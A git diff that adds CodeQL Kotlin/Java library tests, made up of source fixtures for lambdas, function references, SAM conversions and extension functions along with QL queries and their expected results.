+fun Int.f3(a: Int) = 5
+
+class FuncRef {
+    companion object {
+        fun f0(): Int = 5
+    }
+    fun f0(): Int = 5
+    fun f1(a: Int): Int = 5
+    fun f22(a0: Int, a1: Int, a2: Int, a3: Int, a4: Int, a5: Int, a6: Int, a7: Int, a8: Int, a9: Int, a10: Int,
+            a11: Int, a12: Int, a13: Int, a14: Int, a15: Int, a16:Int, a17: Int, a18: Int, a19: Int, a20: Int, a21: Int) {}
+    fun f23(a0: Int, a1: Int, a2: Int, a3: Int, a4: Int, a5: Int, a6: Int, a7: Int, a8: Int, a9: Int, a10: Int,
+            a11: Int, a12: Int, a13: Int, a14: Int, a15: Int, a16:Int, a17: Int, a18: Int, a19: Int, a20: Int, a21: Int, a22: Int) = ""
+}
+
+class Class3 {
+    fun call() {
+        fn { a -> "a"}
+    }
+    private fun fn(f: (Generic<Generic<Int>>) -> String) { }
+
+    class Generic<T> { }
+}
diff --git a/java/ql/test/kotlin/library-tests/exprs/funcExprs.ql b/java/ql/test/kotlin/library-tests/exprs/funcExprs.ql
new file mode 100644
index 00000000000..c1cf7c6f124
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/funcExprs.ql
@@ -0,0 +1,37 @@
+import java
+
+private string getLambdaBody(LambdaExpr le) {
+  le.hasExprBody() and result = "expr body"
+  or
+  le.hasStmtBody() and result = "stmt body"
+}
+
+query predicate lambdaExpr(LambdaExpr le, string body, Method m, string signature, AnonymousClass an) {
+  getLambdaBody(le) = body and
+  le.asMethod() = m and
+  signature = m.getSignature() and
+  le.getAnonymousClass() = an
+}
+
+query predicate memberRefExprs(MemberRefExpr e, Method m, string signature, AnonymousClass an) {
+  e.asMethod() = m and
+  signature = m.getSignature() and
+  e.getAnonymousClass() = an
+}
+
+query predicate modifiers(LambdaExpr le, Method m, string modifier) {
+  le.getAnonymousClass().getAMethod() = m and
+  m.hasModifier(modifier)
+}
+
+query predicate nonOverrideInvoke(LambdaExpr le, Method m, int pCount) {
+  le.getAnonymousClass().getAMethod() = m and
+  not m.hasModifier("override") and
+  m.getName() = "invoke" and
+  pCount = m.getNumberOfParameters() and
+  exists(Method mOtherInvoke |
+    le.getAnonymousClass().getAMethod() = mOtherInvoke and
+    mOtherInvoke.hasModifier("override") and
+    mOtherInvoke.getName() = "invoke"
+  )
+}
diff --git a/java/ql/test/kotlin/library-tests/exprs/kFunctionInvoke.kt b/java/ql/test/kotlin/library-tests/exprs/kFunctionInvoke.kt
new file mode 100644
index 00000000000..3ed4c52f14f
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/kFunctionInvoke.kt
@@ -0,0 +1,10 @@
+import kotlin.reflect.*
+
+class A {
+    fun f(s: String) { }
+}
+
+fun useRef(a: A, s: String) {
+    val toCall: KFunction1<String, Unit> = a::f
+    toCall(s)
+}
diff --git a/java/ql/test/kotlin/library-tests/exprs/localFunctionCalls.kt b/java/ql/test/kotlin/library-tests/exprs/localFunctionCalls.kt
new file mode 100644
index 00000000000..75cb379aa85
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/localFunctionCalls.kt
@@ -0,0 +1,14 @@
+package foo.bar
+
+fun x() {
+    var x = 5
+    fun <T> a(i: Int) = i + x
+    x = 6
+    a<String>(42)
+    x = 7
+    fun <T1> C1<T1>.f1(i: Int) = 5
+    C1<Int>().f1(42)
+    C1<Int>().f1(42)
+}
+
+class C1<T> {}
diff --git a/java/ql/test/kotlin/library-tests/exprs/samConversion.kt b/java/ql/test/kotlin/library-tests/exprs/samConversion.kt
new file mode 100644
index 00000000000..167b1f6bc30
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/samConversion.kt
@@ -0,0 +1,51 @@
+fun main(b: Boolean) {
+    val isEven = IntPredicate { it % 2 == 0 }
+
+    val i0 = InterfaceFn1 { a, b -> Unit }
+    val i1 = InterfaceFn1(::fn2)
+
+    val i = InterfaceFnExt1 { i -> this == ""}
+
+    val x = IntPredicate(if (b) {
+            j -> j % 2 == 0
+    } else {
+            j -> j % 2 == 1
+    })
+}
+
+fun interface IntPredicate {
+    fun accept(i: Int): Boolean
+}
+
+fun fn2(i: Int, j: Int) { }
+
+fun interface InterfaceFn1 {
+    fun fn1(i: Int, j: Int)
+}
+
+fun interface InterfaceFnExt1 {
+    fun String.ext(i: Int): Boolean
+}
+
+fun interface BigArityPredicate {
+    fun accept(i0: Int, i1: Int, i2: Int, i3: Int, i4: Int, i5: Int, i6: Int, i7: Int, i8: Int, i9: Int,
+               i10: Int, i11: Int, i12: Int, i13: Int, i14: Int, i15: Int, i16: Int, i17: Int, i18: Int, i19: Int,
+               i20: Int, i21: Int, i22: Int): Boolean
+}
+
+fun ff(i0: Int, i1: Int, i2: Int, i3: Int, i4: Int, i5: Int, i6: Int, i7: Int, i8: Int, i9: Int,
+       i10: Int, i11: Int, i12: Int, i13: Int, i14: Int, i15: Int, i16: Int, i17: Int, i18: Int, i19: Int,
+       i20: Int, i21: Int, i22: Int): Boolean = true
+
+fun fn(boo: Boolean) {
+    val a = ::ff
+    val b = BigArityPredicate(a)
+    val c = BigArityPredicate {i0: Int, i1: Int, i2: Int, i3: Int, i4: Int, i5: Int, i6: Int, i7: Int, i8: Int, i9: Int,
+                               i10: Int, i11: Int, i12: Int, i13: Int, i14: Int, i15: Int, i16: Int, i17: Int, i18: Int, i19: Int,
+                               i20: Int, i21: Int, i22: Int -> true}
+    val d = SomePredicate<Int> { a -> true }
+}
+
+fun interface SomePredicate<T> {
+    fun fn(i: T): Boolean
+}
diff --git a/java/ql/test/kotlin/library-tests/exprs/unaryOp.expected b/java/ql/test/kotlin/library-tests/exprs/unaryOp.expected
new file mode 100644
index 00000000000..bc306278495
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/unaryOp.expected
@@ -0,0 +1,3 @@
+| exprs.kt:196:19:196:20 | ...!! | exprs.kt:196:18:196:18 | x |
+| exprs.kt:205:20:205:21 | ...!! | exprs.kt:205:19:205:19 | s |
+| exprs.kt:206:20:206:21 | ...!! | exprs.kt:206:19:206:19 | s |
diff --git a/java/ql/test/kotlin/library-tests/exprs/unaryOp.ql b/java/ql/test/kotlin/library-tests/exprs/unaryOp.ql
new file mode 100644
index 00000000000..9e7359e1e07
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/unaryOp.ql
@@ -0,0 +1,36 @@
+import java
+
+newtype TMaybeElement =
+  TElement(Element e) or
+  TNoElement()
+
+class MaybeElement extends TMaybeElement {
+  abstract string toString();
+
+  abstract Location getLocation();
+}
+
+class YesMaybeElement extends MaybeElement {
+  Element e;
+
+  YesMaybeElement() { this = TElement(e) }
+
+  override string toString() { result = e.toString() }
+
+  override Location getLocation() { result = e.getLocation() }
+}
+
+class NoMaybeElement extends MaybeElement {
+  NoMaybeElement() { this = TNoElement() }
+
+  override string toString() { result = "<none>" }
+
+  override Location getLocation() { none() }
+}
+
+MaybeElement op(UnaryExpr e) {
+  if exists(e.getExpr()) then result = TElement(e.getExpr()) else result = TNoElement()
+}
+
+from Expr e
+select e, op(e)
diff --git a/java/ql/test/kotlin/library-tests/exprs/whenExpr.kt b/java/ql/test/kotlin/library-tests/exprs/whenExpr.kt
new file mode 100644
index 00000000000..891f5d0f43b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/whenExpr.kt
@@ -0,0 +1,10 @@
+fun testWhen(i: Int): Int {
+  return when(i) {
+    0 -> 1
+    1 -> 2
+    2 -> return 3
+    3 -> throw Exception("No threes please")
+    else -> 999
+  }
+}
+
diff --git a/java/ql/test/kotlin/library-tests/exprs_typeaccess/A.kt b/java/ql/test/kotlin/library-tests/exprs_typeaccess/A.kt
new file mode 100644
index 00000000000..b5ba839d2f8
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs_typeaccess/A.kt
@@ -0,0 +1,26 @@
+
+class A {
+    class C<T> {
+        fun fn(){
+            val a = C<C<Int>>()
+        }
+    }
+
+    constructor() {
+        println("")
+    }
+
+    val prop = this.fn(1)
+
+    fun fn() {}
+    fun fn(i: C<C<Int>>) = i
+    fun fn(i: Int) : Int {
+        val x = this.fn(1)
+        val e = Enu.A
+        return B.x
+    }
+
+    enum class Enu {
+        A, B, C
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/exprs_typeaccess/B.java b/java/ql/test/kotlin/library-tests/exprs_typeaccess/B.java
new file mode 100644
index 00000000000..1c0df071c5a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs_typeaccess/B.java
@@ -0,0 +1,25 @@
+public class B {
+    public B() {
+        ;
+    }
+
+   public void fn() { }
+   public C<C<Integer>> fn(C<C<Integer>> i) { return i; }
+   public int fn(int i) {
+      int x = this.fn(1);
+      Enu e = Enu.A;
+      return B.x;
+   }
+
+   public static class C<T> {
+      public void fn() {
+         new C<C<Integer>>();
+      }
+   }
+
+   public static enum Enu {
+      A, B, C
+   }
+
+   public static final int x = 5;
+}
diff --git a/java/ql/test/kotlin/library-tests/exprs_typeaccess/PrintAst.expected b/java/ql/test/kotlin/library-tests/exprs_typeaccess/PrintAst.expected
new file mode 100644
index 00000000000..ae2d5911e7e
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs_typeaccess/PrintAst.expected
@@ -0,0 +1,171 @@
+A.kt:
+#    0| [CompilationUnit] A
+#    2|   1: [Class] A
+#    3|     3: [Class,GenericType,ParameterizedType] C
+#-----|       -2: (Generic Parameters)
+#    3|         0: [TypeVariable] T
+#    3|       1: [Constructor] C
+#    3|         5: [BlockStmt] { ... }
+#    3|           0: [SuperConstructorInvocationStmt] super(...)
+#    3|           1: [BlockStmt] { ... }
+#    4|       2: [Method] fn
+#    4|         3: [TypeAccess] Unit
+#    4|         5: [BlockStmt] { ... }
+#    5|           0: [LocalVariableDeclStmt] var ...;
+#    5|             1: [LocalVariableDeclExpr] a
+#    5|               0: [ClassInstanceExpr] new C<C<Integer>>(...)
+#    5|                 -3: [TypeAccess] C<C<Integer>>
+#    5|                   0: [TypeAccess] C<Integer>
+#    5|                     0: [TypeAccess] Integer
+#    9|     5: [Constructor] A
+#    9|       5: [BlockStmt] { ... }
+#    9|         0: [SuperConstructorInvocationStmt] super(...)
+#    9|         1: [BlockStmt] { ... }
+#   13|           0: [ExprStmt] <Expr>;
+#   13|             0: [KtInitializerAssignExpr] ...=...
+#   13|               0: [VarAccess] prop
+#   10|         2: [ExprStmt] <Expr>;
+#   10|           0: [MethodAccess] println(...)
+#   10|             -1: [TypeAccess] ConsoleKt
+#   10|             0: [StringLiteral] 
+#   13|     6: [Method] getProp
+#   13|       3: [TypeAccess] int
+#   13|       5: [BlockStmt] { ... }
+#   13|         0: [ReturnStmt] return ...
+#   13|           0: [VarAccess] this.prop
+#   13|             -1: [ThisAccess] this
+#   13|     6: [FieldDeclaration] int prop;
+#   13|       -1: [TypeAccess] int
+#   13|       0: [MethodAccess] fn(...)
+#   13|         -1: [ThisAccess] A.this
+#   13|           0: [TypeAccess] A
+#   13|         0: [IntegerLiteral] 1
+#   15|     8: [Method] fn
+#   15|       3: [TypeAccess] Unit
+#   15|       5: [BlockStmt] { ... }
+#   16|     9: [Method] fn
+#   16|       3: [TypeAccess] C<C<Integer>>
+#   16|         0: [TypeAccess] C<Integer>
+#   16|           0: [TypeAccess] Integer
+#-----|       4: (Parameters)
+#   16|         0: [Parameter] i
+#   16|           0: [TypeAccess] C<C<Integer>>
+#   16|             0: [TypeAccess] C<Integer>
+#   16|               0: [TypeAccess] Integer
+#   16|       5: [BlockStmt] { ... }
+#   16|         0: [ReturnStmt] return ...
+#   16|           0: [VarAccess] i
+#   17|     10: [Method] fn
+#   17|       3: [TypeAccess] int
+#-----|       4: (Parameters)
+#   17|         0: [Parameter] i
+#   17|           0: [TypeAccess] int
+#   17|       5: [BlockStmt] { ... }
+#   18|         0: [LocalVariableDeclStmt] var ...;
+#   18|           1: [LocalVariableDeclExpr] x
+#   18|             0: [MethodAccess] fn(...)
+#   18|               -1: [ThisAccess] this
+#   18|               0: [IntegerLiteral] 1
+#   19|         1: [LocalVariableDeclStmt] var ...;
+#   19|           1: [LocalVariableDeclExpr] e
+#   19|             0: [VarAccess] Enu.A
+#   19|               -1: [TypeAccess] Enu
+#   20|         2: [ReturnStmt] return ...
+#   20|           0: [VarAccess] B.x
+#   20|             -1: [TypeAccess] B
+#   23|     11: [Class] Enu
+#    0|       1: [Method] values
+#    0|         3: [TypeAccess] Enu[]
+#    0|           0: [TypeAccess] Enu
+#    0|       1: [Method] valueOf
+#    0|         3: [TypeAccess] Enu
+#-----|         4: (Parameters)
+#    0|           0: [Parameter] value
+#    0|             0: [TypeAccess] String
+#   23|       4: [Constructor] Enu
+#   23|         5: [BlockStmt] { ... }
+#   23|           0: [ExprStmt] <Expr>;
+#   23|             0: [ClassInstanceExpr] new Enum(...)
+#   23|               -3: [TypeAccess] Unit
+#   23|                 0: [TypeAccess] Enu
+#   23|           1: [BlockStmt] { ... }
+#   24|       5: [FieldDeclaration] Enu A;
+#   24|         -1: [TypeAccess] Enu
+#   24|         0: [ClassInstanceExpr] new Enu(...)
+#   24|           -3: [TypeAccess] Enu
+#   24|       6: [FieldDeclaration] Enu B;
+#   24|         -1: [TypeAccess] Enu
+#   24|         0: [ClassInstanceExpr] new Enu(...)
+#   24|           -3: [TypeAccess] Enu
+#   24|       7: [FieldDeclaration] Enu C;
+#   24|         -1: [TypeAccess] Enu
+#   24|         0: [ClassInstanceExpr] new Enu(...)
+#   24|           -3: [TypeAccess] Enu
+B.java:
+#    0| [CompilationUnit] B
+#    1|   1: [Class] B
+#    2|     2: [Constructor] B
+#    2|       5: [BlockStmt] { ... }
+#    3|         1: [EmptyStmt] ;
+#    6|     3: [Method] fn
+#    6|       3: [TypeAccess] void
+#    6|       5: [BlockStmt] { ... }
+#    7|     4: [Method] fn
+#    7|       3: [TypeAccess] C<C<Integer>>
+#    7|         0: [TypeAccess] C<Integer>
+#    7|           0: [TypeAccess] Integer
+#-----|       4: (Parameters)
+#    7|         0: [Parameter] i
+#    7|           0: [TypeAccess] C<C<Integer>>
+#    7|             0: [TypeAccess] C<Integer>
+#    7|               0: [TypeAccess] Integer
+#    7|       5: [BlockStmt] { ... }
+#    7|         0: [ReturnStmt] return ...
+#    7|           0: [VarAccess] i
+#    8|     5: [Method] fn
+#    8|       3: [TypeAccess] int
+#-----|       4: (Parameters)
+#    8|         0: [Parameter] i
+#    8|           0: [TypeAccess] int
+#    8|       5: [BlockStmt] { ... }
+#    9|         0: [LocalVariableDeclStmt] var ...;
+#    9|           0: [TypeAccess] int
+#    9|           1: [LocalVariableDeclExpr] x
+#    9|             0: [MethodAccess] fn(...)
+#    9|               -1: [ThisAccess] this
+#    9|               0: [IntegerLiteral] 1
+#   10|         1: [LocalVariableDeclStmt] var ...;
+#   10|           0: [TypeAccess] Enu
+#   10|           1: [LocalVariableDeclExpr] e
+#   10|             0: [VarAccess] Enu.A
+#   10|               -1: [TypeAccess] Enu
+#   11|         2: [ReturnStmt] return ...
+#   11|           0: [VarAccess] B.x
+#   11|             -1: [TypeAccess] B
+#   14|     6: [Class,GenericType,ParameterizedType] C
+#-----|       -2: (Generic Parameters)
+#   14|         0: [TypeVariable] T
+#   15|       2: [Method] fn
+#   15|         3: [TypeAccess] void
+#   15|         5: [BlockStmt] { ... }
+#   16|           0: [ExprStmt] <Expr>;
+#   16|             0: [ClassInstanceExpr] new C<C<Integer>>(...)
+#   16|               -3: [TypeAccess] C<C<Integer>>
+#   16|                 0: [TypeAccess] C<Integer>
+#   16|                   0: [TypeAccess] Integer
+#   20|     7: [Class] Enu
+#   21|       3: [FieldDeclaration] Enu A;
+#   21|         -1: [TypeAccess] Enu
+#   21|         0: [ClassInstanceExpr] new Enu(...)
+#   21|           -3: [TypeAccess] Enu
+#   21|       4: [FieldDeclaration] Enu B;
+#   21|         -1: [TypeAccess] Enu
+#   21|         0: [ClassInstanceExpr] new Enu(...)
+#   21|           -3: [TypeAccess] Enu
+#   21|       5: [FieldDeclaration] Enu C;
+#   21|         -1: [TypeAccess] Enu
+#   21|         0: [ClassInstanceExpr] new Enu(...)
+#   21|           -3: [TypeAccess] Enu
+#   24|     8: [FieldDeclaration] int x;
+#   24|       -1: [TypeAccess] int
+#   24|       0: [IntegerLiteral] 5
diff --git a/java/ql/test/kotlin/library-tests/exprs_typeaccess/PrintAst.qlref b/java/ql/test/kotlin/library-tests/exprs_typeaccess/PrintAst.qlref
new file mode 100644
index 00000000000..c7fd5faf239
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs_typeaccess/PrintAst.qlref
@@ -0,0 +1 @@
+semmle/code/java/PrintAst.ql
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/extensions/A.java b/java/ql/test/kotlin/library-tests/extensions/A.java
new file mode 100644
index 00000000000..acb3b819de5
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/extensions/A.java
@@ -0,0 +1,5 @@
+class A {
+    void method() {
+        ExtensionsKt.someFun(new SomeClass(), "");
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/extensions/extensions.kt b/java/ql/test/kotlin/library-tests/extensions/extensions.kt
new file mode 100644
index 00000000000..7ed635e292d
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/extensions/extensions.kt
@@ -0,0 +1,32 @@
+
+class SomeClass {
+    fun someClassMethod(p1: String) {}
+}
+class AnotherClass {
+    fun anotherClassMethod(p1: String) {}
+}
+
+fun SomeClass.someFun(p1: String) {}
+fun AnotherClass.anotherFun(p1: String) {}
+
+fun SomeClass.bothFun(p1: String) {}
+fun AnotherClass.bothFun(p1: String) {}
+
+fun SomeClass.bothFunDiffTypes(p1: Int): Int { return 5 }
+fun AnotherClass.bothFunDiffTypes(p1: String): String { return "Foo" }
+
+fun String.bar(p1: String): String { return "Bar" }
+
+fun foo() {
+    SomeClass().someClassMethod("foo")
+    SomeClass().someFun("foo")
+    SomeClass().bothFun("foo")
+    SomeClass().bothFunDiffTypes(1)
+    AnotherClass().anotherClassMethod("foo")
+    AnotherClass().anotherFun("foo")
+    AnotherClass().bothFun("foo")
+    AnotherClass().bothFunDiffTypes("foo")
+    "someString".bar("foo")
+    fun String.baz(p1: String): String { return "Baz" }
+    "someString".baz("bazParam")
+}
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/extensions/methodaccesses.expected b/java/ql/test/kotlin/library-tests/extensions/methodaccesses.expected
new file mode 100644
index 00000000000..e2864ed1fdb
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/extensions/methodaccesses.expected
@@ -0,0 +1,20 @@
+| A.java:3:9:3:49 | someFun(...) | A.java:3:9:3:20 | ExtensionsKt | A.java:3:30:3:44 | new SomeClass(...) |
+| A.java:3:9:3:49 | someFun(...) | A.java:3:9:3:20 | ExtensionsKt | A.java:3:47:3:48 | "" |
+| extensions.kt:21:17:21:38 | someClassMethod(...) | extensions.kt:21:5:21:15 | new SomeClass(...) | extensions.kt:21:34:21:36 | foo |
+| extensions.kt:22:17:22:30 | someFun(...) | extensions.kt:22:17:22:30 | ExtensionsKt | extensions.kt:22:5:22:15 | new SomeClass(...) |
+| extensions.kt:22:17:22:30 | someFun(...) | extensions.kt:22:17:22:30 | ExtensionsKt | extensions.kt:22:26:22:28 | foo |
+| extensions.kt:23:17:23:30 | bothFun(...) | extensions.kt:23:17:23:30 | ExtensionsKt | extensions.kt:23:5:23:15 | new SomeClass(...) |
+| extensions.kt:23:17:23:30 | bothFun(...) | extensions.kt:23:17:23:30 | ExtensionsKt | extensions.kt:23:26:23:28 | foo |
+| extensions.kt:24:17:24:35 | bothFunDiffTypes(...) | extensions.kt:24:17:24:35 | ExtensionsKt | extensions.kt:24:5:24:15 | new SomeClass(...) |
+| extensions.kt:24:17:24:35 | bothFunDiffTypes(...) | extensions.kt:24:17:24:35 | ExtensionsKt | extensions.kt:24:34:24:34 | 1 |
+| extensions.kt:25:20:25:44 | anotherClassMethod(...) | extensions.kt:25:5:25:18 | new AnotherClass(...) | extensions.kt:25:40:25:42 | foo |
+| extensions.kt:26:20:26:36 | anotherFun(...) | extensions.kt:26:20:26:36 | ExtensionsKt | extensions.kt:26:5:26:18 | new AnotherClass(...) |
+| extensions.kt:26:20:26:36 | anotherFun(...) | extensions.kt:26:20:26:36 | ExtensionsKt | extensions.kt:26:32:26:34 | foo |
+| extensions.kt:27:20:27:33 | bothFun(...) | extensions.kt:27:20:27:33 | ExtensionsKt | extensions.kt:27:5:27:18 | new AnotherClass(...) |
+| extensions.kt:27:20:27:33 | bothFun(...) | extensions.kt:27:20:27:33 | ExtensionsKt | extensions.kt:27:29:27:31 | foo |
+| extensions.kt:28:20:28:42 | bothFunDiffTypes(...) | extensions.kt:28:20:28:42 | ExtensionsKt | extensions.kt:28:5:28:18 | new AnotherClass(...) |
+| extensions.kt:28:20:28:42 | bothFunDiffTypes(...) | extensions.kt:28:20:28:42 | ExtensionsKt | extensions.kt:28:38:28:40 | foo |
+| extensions.kt:29:18:29:27 | bar(...) | extensions.kt:29:18:29:27 | ExtensionsKt | extensions.kt:29:6:29:15 | someString |
+| extensions.kt:29:18:29:27 | bar(...) | extensions.kt:29:18:29:27 | ExtensionsKt | extensions.kt:29:23:29:25 | foo |
+| extensions.kt:31:18:31:32 | baz(...) | extensions.kt:31:18:31:32 | new (...) | extensions.kt:31:6:31:15 | someString |
+| extensions.kt:31:18:31:32 | baz(...) | extensions.kt:31:18:31:32 | new (...) | extensions.kt:31:23:31:30 | bazParam |
diff --git a/java/ql/test/kotlin/library-tests/extensions/methodaccesses.ql b/java/ql/test/kotlin/library-tests/extensions/methodaccesses.ql
new file mode 100644
index 00000000000..5e2d0e67c26
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/extensions/methodaccesses.ql
@@ -0,0 +1,7 @@
+import java
+
+// For extension methods we use JVM bytecode representation:
+// * the qualifier is the dispatch receiver expression, and
+// * the extension receiver expression is the 0th argument.
+from MethodAccess ma
+select ma, ma.getQualifier(), ma.getAnArgument()
diff --git a/java/ql/test/kotlin/library-tests/extensions/methods.expected b/java/ql/test/kotlin/library-tests/extensions/methods.expected
new file mode 100644
index 00000000000..3c2e4114a78
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/extensions/methods.expected
@@ -0,0 +1,12 @@
+| A.java:2:10:2:15 | method | file://:0:0:0:0 | void |
+| extensions.kt:3:5:3:38 | someClassMethod | file://:0:0:0:0 | void |
+| extensions.kt:6:5:6:41 | anotherClassMethod | file://:0:0:0:0 | void |
+| extensions.kt:9:1:9:36 | someFun | file://:0:0:0:0 | void |
+| extensions.kt:10:1:10:42 | anotherFun | file://:0:0:0:0 | void |
+| extensions.kt:12:1:12:36 | bothFun | file://:0:0:0:0 | void |
+| extensions.kt:13:1:13:39 | bothFun | file://:0:0:0:0 | void |
+| extensions.kt:15:1:15:57 | bothFunDiffTypes | file://:0:0:0:0 | int |
+| extensions.kt:16:1:16:70 | bothFunDiffTypes | file://<external>/String.class:0:0:0:0 | String |
+| extensions.kt:18:1:18:51 | bar | file://<external>/String.class:0:0:0:0 | String |
+| extensions.kt:20:1:32:1 | foo | file://:0:0:0:0 | void |
+| extensions.kt:30:5:30:55 | baz | file://<external>/String.class:0:0:0:0 | String |
diff --git a/java/ql/test/kotlin/library-tests/extensions/methods.ql b/java/ql/test/kotlin/library-tests/extensions/methods.ql
new file mode 100644
index 00000000000..5cbcc98807b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/extensions/methods.ql
@@ -0,0 +1,16 @@
+import java
+
+// Stop external filepaths from appearing in the results
+class ClassOrInterfaceLocation extends ClassOrInterface {
+  override predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) {
+    exists(string fullPath | super.hasLocationInfo(fullPath, sl, sc, el, ec) |
+      if exists(this.getFile().getRelativePath())
+      then path = fullPath
+      else path = fullPath.regexpReplaceAll(".*/", "<external>/")
+    )
+  }
+}
+
+from Method m
+where m.fromSource()
+select m, m.getReturnType()
diff --git a/java/ql/test/kotlin/library-tests/extensions/parameters.expected b/java/ql/test/kotlin/library-tests/extensions/parameters.expected
new file mode 100644
index 00000000000..5cb7e0986d3
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/extensions/parameters.expected
@@ -0,0 +1,49 @@
+parametersWithArgs
+| extensions.kt:3:25:3:34 | p1 | 0 | extensions.kt:21:34:21:36 | foo |
+| extensions.kt:6:28:6:37 | p1 | 0 | extensions.kt:25:40:25:42 | foo |
+| extensions.kt:9:5:9:13 | <this> | 0 | A.java:3:30:3:44 | new SomeClass(...) |
+| extensions.kt:9:5:9:13 | <this> | 0 | extensions.kt:22:5:22:15 | new SomeClass(...) |
+| extensions.kt:9:23:9:32 | p1 | 1 | A.java:3:47:3:48 | "" |
+| extensions.kt:9:23:9:32 | p1 | 1 | extensions.kt:22:26:22:28 | foo |
+| extensions.kt:10:5:10:16 | <this> | 0 | extensions.kt:26:5:26:18 | new AnotherClass(...) |
+| extensions.kt:10:29:10:38 | p1 | 1 | extensions.kt:26:32:26:34 | foo |
+| extensions.kt:12:5:12:13 | <this> | 0 | extensions.kt:23:5:23:15 | new SomeClass(...) |
+| extensions.kt:12:23:12:32 | p1 | 1 | extensions.kt:23:26:23:28 | foo |
+| extensions.kt:13:5:13:16 | <this> | 0 | extensions.kt:27:5:27:18 | new AnotherClass(...) |
+| extensions.kt:13:26:13:35 | p1 | 1 | extensions.kt:27:29:27:31 | foo |
+| extensions.kt:15:5:15:13 | <this> | 0 | extensions.kt:24:5:24:15 | new SomeClass(...) |
+| extensions.kt:15:32:15:38 | p1 | 1 | extensions.kt:24:34:24:34 | 1 |
+| extensions.kt:16:5:16:16 | <this> | 0 | extensions.kt:28:5:28:18 | new AnotherClass(...) |
+| extensions.kt:16:35:16:44 | p1 | 1 | extensions.kt:28:38:28:40 | foo |
+| extensions.kt:18:5:18:10 | <this> | 0 | extensions.kt:29:6:29:15 | someString |
+| extensions.kt:18:16:18:25 | p1 | 1 | extensions.kt:29:23:29:25 | foo |
+| extensions.kt:30:9:30:14 | <this> | 0 | extensions.kt:31:6:31:15 | someString |
+| extensions.kt:30:20:30:29 | p1 | 1 | extensions.kt:31:23:31:30 | bazParam |
+extensionParameter
+| extensions.kt:9:5:9:13 | <this> |
+| extensions.kt:10:5:10:16 | <this> |
+| extensions.kt:12:5:12:13 | <this> |
+| extensions.kt:13:5:13:16 | <this> |
+| extensions.kt:15:5:15:13 | <this> |
+| extensions.kt:16:5:16:16 | <this> |
+| extensions.kt:18:5:18:10 | <this> |
+| extensions.kt:30:9:30:14 | <this> |
+#select
+| extensions.kt:3:5:3:38 | someClassMethod | extensions.kt:3:25:3:34 | p1 | 0 |
+| extensions.kt:6:5:6:41 | anotherClassMethod | extensions.kt:6:28:6:37 | p1 | 0 |
+| extensions.kt:9:1:9:36 | someFun | extensions.kt:9:5:9:13 | <this> | 0 |
+| extensions.kt:9:1:9:36 | someFun | extensions.kt:9:23:9:32 | p1 | 1 |
+| extensions.kt:10:1:10:42 | anotherFun | extensions.kt:10:5:10:16 | <this> | 0 |
+| extensions.kt:10:1:10:42 | anotherFun | extensions.kt:10:29:10:38 | p1 | 1 |
+| extensions.kt:12:1:12:36 | bothFun | extensions.kt:12:5:12:13 | <this> | 0 |
+| extensions.kt:12:1:12:36 | bothFun | extensions.kt:12:23:12:32 | p1 | 1 |
+| extensions.kt:13:1:13:39 | bothFun | extensions.kt:13:5:13:16 | <this> | 0 |
+| extensions.kt:13:1:13:39 | bothFun | extensions.kt:13:26:13:35 | p1 | 1 |
+| extensions.kt:15:1:15:57 | bothFunDiffTypes | extensions.kt:15:5:15:13 | <this> | 0 |
+| extensions.kt:15:1:15:57 | bothFunDiffTypes | extensions.kt:15:32:15:38 | p1 | 1 |
+| extensions.kt:16:1:16:70 | bothFunDiffTypes | extensions.kt:16:5:16:16 | <this> | 0 |
+| extensions.kt:16:1:16:70 | bothFunDiffTypes | extensions.kt:16:35:16:44 | p1 | 1 |
+| extensions.kt:18:1:18:51 | bar | extensions.kt:18:5:18:10 | <this> | 0 |
+| extensions.kt:18:1:18:51 | bar | extensions.kt:18:16:18:25 | p1 | 1 |
+| extensions.kt:30:5:30:55 | baz | extensions.kt:30:9:30:14 | <this> | 0 |
+| extensions.kt:30:5:30:55 | baz | extensions.kt:30:20:30:29 | p1 | 1 |
diff --git a/java/ql/test/kotlin/library-tests/extensions/parameters.ql b/java/ql/test/kotlin/library-tests/extensions/parameters.ql
new file mode 100644
index 00000000000..6fcdd939aa6
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/extensions/parameters.ql
@@ -0,0 +1,11 @@
+import java
+
+from Method m, int n
+where m.fromSource()
+select m, m.getParameter(n), n
+
+query predicate parametersWithArgs(Parameter p, int idx, Expr arg) {
+  p.fromSource() and p.getPosition() = idx and p.getAnArgument() = arg
+}
+
+query predicate extensionParameter(Parameter p) { p.isExtensionParameter() }
diff --git a/java/ql/test/kotlin/library-tests/extensions_recursion/element.expected b/java/ql/test/kotlin/library-tests/extensions_recursion/element.expected
new file mode 100644
index 00000000000..31d36030183
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/extensions_recursion/element.expected
@@ -0,0 +1,26 @@
+| file://:0:0:0:0 |  | Package |
+| test.kt:0:0:0:0 | TestKt | Class |
+| test.kt:0:0:0:0 | test | CompilationUnit |
+| test.kt:2:1:4:1 | bar | ExtensionMethod |
+| test.kt:2:1:4:1 | boolean | TypeAccess |
+| test.kt:2:6:2:6 | T | TypeVariable |
+| test.kt:2:9:2:14 | <this> | Parameter |
+| test.kt:2:9:2:14 | Foo<T> | TypeAccess |
